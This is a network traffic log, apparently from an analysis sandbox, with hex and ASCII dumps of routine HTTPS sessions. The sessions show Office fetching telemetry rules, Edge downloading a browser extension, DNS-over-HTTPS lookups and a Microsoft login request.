2024-11-16 12:01:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:35 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: eef1fd5d-a01e-006f-4c9a-3613cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120135Z-164f84587bf6n6jwhC1DFW90fn00000001y0000000008ks8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:35 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:35 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 760e684f-301e-0000-24f8-36eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120135Z-164f84587bf6h2bxhC1DFWbcm800000002xg000000008zst x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:35 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:35 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120135Z-16547b76f7f9s8x7hC1DFWywrg00000002k0000000005rq8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49823	172.217.16.129	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:35 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:36 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY3VONG97QRTIeNobMKqmUftleAE12V9o-CxYJZNKwAt6M6u5QJVavsbabF0_cpdc4wFqS7s_HBZPA X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Fri, 15 Nov 2024 17:26:51 GMT Expires: Sat, 15 Nov 2025 17:26:51 GMT Cache-Control: public, max-age=31536000 Age: 66885 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-16 12:01:36 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-16 12:01:36 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-16 12:01:36 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-16 12:01:36 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-16 12:01:36 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-16 12:01:36 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-16 12:01:36 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-16 12:01:36 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-16 12:01:36 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-16 12:01:36 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49827	162.159.61.3	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 12:01:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 12:01:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 12:01:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3753c8afc24600-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 12:01:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 da 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49826	172.64.41.3	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-16 12:01:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-16 12:01:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sat, 16 Nov 2024 12:01:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3753c8bec5c872-DFW alt-svc: h3=":443"; ma=86400
2024-11-16 12:01:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 74 00 04 8e fb 74 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomtt^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49818	40.126.32.76	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:36 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
